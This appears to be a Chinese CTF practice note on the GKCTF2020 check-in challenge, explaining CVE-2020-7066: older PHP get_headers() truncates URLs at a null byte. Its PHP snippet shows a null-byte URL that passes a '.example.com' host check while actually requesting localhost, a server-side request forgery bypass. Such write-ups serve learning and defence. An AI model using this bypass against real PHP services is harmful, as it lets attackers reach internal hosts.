刷题记录:[GKCTF2020]cve版签到
题目复现链接:https://buuoj.cn/challenges
参考链接:GK2020-CVE签到题 CVE-2020-7066 PHP7.x get_headers()
CVE-2020-7066
影响版本:PHP <7.2.29 <7.3.16 <7.4.4
get_headers()会截断URL中空字符后的内容
<?php
$_GET['url'] = "http://localhost\0.example.com";
$host = parse_url($_GET['url'], PHP_URL_HOST);
if (substr($host, -12) !== '.example.com') {
die();
}
$headers = get_headers($_GET['url']);
var_dump($headers);
localhost不是单指127.0.0.1,而是符合127.0.0.0/24这一网段的IP地址

浙公网安备 33010602011771号